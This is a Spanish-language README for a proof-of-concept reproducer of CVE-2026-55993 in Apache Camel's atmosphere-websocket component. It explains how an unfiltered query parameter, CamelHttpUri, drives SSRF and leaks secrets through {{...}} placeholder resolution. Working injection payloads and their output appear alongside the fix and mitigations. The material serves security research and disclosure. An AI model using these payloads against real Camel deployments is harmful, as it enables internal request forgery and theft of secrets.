
Reproductor de PoC para CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): el consumidor WebSocket copia los parámetros de consulta de la conexión al Exchange sin filtrar, por lo que una CamelHttpUri inyectada desencadena una solicitud del lado del servidor (SSRF) y filtra los marcadores de posición de propiedades resueltos. Corregido en 4.14.8/4.18.3/4.21.0.
Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-atmosphere-websocket de Apache Camel, registrada como CVE-2026-55993. El consumidor WebSocket copia los parámetros de consulta de la conexión al Exchange de Camel sin ningún HeaderFilterStrategy, por lo que un cliente puede inyectar cabeceras de control de Camel — especialmente CamelHttpUri — simplemente añadiéndolas a la cadena de consulta de la URL del WebSocket:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
Cuando la ruta conecta este consumidor con un productor HTTP, un CamelHttpUri inyectado anula la URI de destino del productor — server-side request forgery. El productor camel-http también llama a resolvePropertyPlaceholders() sobre esa URI controlada por el atacante, por lo que una referencia {{...}} inyectada se expande a su valor real y se envía — divulgando variables de entorno, propiedades de la aplicación o secretos de vault.
Este PoC demuestra el impacto como SSRF más divulgación de secretos (CWE-20 → CWE-918 + CWE-200). Es uno de los tres componentes hermanos corregidos conjuntamente bajo CAMEL-23532 (junto con camel-vertx-websocket, CVE-2026-46726, y camel-iggy, CVE-2026-55994).
Aviso: https://camel.apache.org/security/CVE-2026-55993.html
La corrección aplica el
HttpHeaderFilterStrategyheredado al mapeo de entrada, filtrando las cabecerasCamel*/camel*sin distinguir mayúsculas de minúsculas, para que ya no puedan inyectarse a través de la cadena de consulta del WebSocket.
Los dos miembros vulnerables de WebsocketConsumer se ejecutan sin cambios, con una cadena de consulta controlada por el atacante:
WebsocketConsumer.getQueryMap(String) real — el analizador ingenuo y sin filtros que convierte la cadena de consulta de la conexión WebSocket en un mapa;WebsocketConsumer.sendEventNotification(...) real — que copia cada entrada de ese mapa al Exchange como cabecera, sin ningún HeaderFilterStrategy.El Exchange resultante fluye a través de la ruta real hasta el productor camel-http real, por lo que el SSRF y la divulgación de property-placeholders {{...}} son genuinos.
Por qué no se usa directamente el transporte WebSocket. En esta versión del componente (Camel 4.18.2 → Atmosphere 3.1.0), un WebSocket se sirve a través de JSR-356, cuyo upgrade lo gestiona el contenedor de servlets y omite
CamelWebSocketServlet.service()— el único lugar que copia la cadena de consulta de la conexión alqueryMapdel consumidor.sendEventNotificationlee ese mapa (vacío), nunca la consulta de la sesión WebSocket, por lo que la inyección no puede entregarse a través de un WebSocket JSR-356 activo en esta versión de Atmosphere. (Atmosphere 3.1.0 solo incluye soporte para JSR-356 / Servlet30 / BlockingIO / Netty — no hay ningún transporte WebSocket basado en servlets que pueda poblarqueryMap.) Por lo tanto, este reproductor invoca directamente los dos métodos vulnerables reales con la cadena de consulta del atacante; el PoC hermanocamel-vertx-websocket(CVE-2026-46726) reproduce el defecto idéntico a través de un WebSocket activo, porque ese componente mapea la consulta en cada mensaje.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
El único destino previsto por el autor de la ruta es /legit-backend; el CamelHttpUri inyectado lo anula.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). Tras la actualización, el consumidor filtra las cabeceras Camel* de la cadena de consulta del WebSocket, por lo que CamelHttpUri y otras cabeceras de control ya no pueden inyectarse.
Hasta que actualice, no conecte un consumidor atmosphere-websocket directamente con un productor HTTP sin eliminar antes las cabeceras de control de Camel (por ejemplo, removeHeaders("CamelHttp*")), y establezca el destino del productor desde una fuente de confianza (o use bridgeEndpoint=true).
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, sobre una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-atmosphere-websocket |
| Clase afectada | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() mapean los parámetros de consulta a cabeceras sin ningún filtro) |
| CWE | CWE-20 (Validación de entrada incorrecta) → CWE-918 (SSRF) + CWE-200 (Exposición de información) |
| Impacto | SSRF no autenticado y divulgación de secretos mediante la resolución de property-placeholders en la URI inyectada |
| Precondiciones | Una ruta conecta un consumidor atmosphere-websocket con un productor HTTP; el servlet se ejecuta con events=true |
| Versiones afectadas | Desde 4.0.0 hasta antes de 4.14.8, desde 4.15.0 hasta antes de 4.18.3, desde 4.19.0 hasta antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Crédito | Kamalpreet Singh |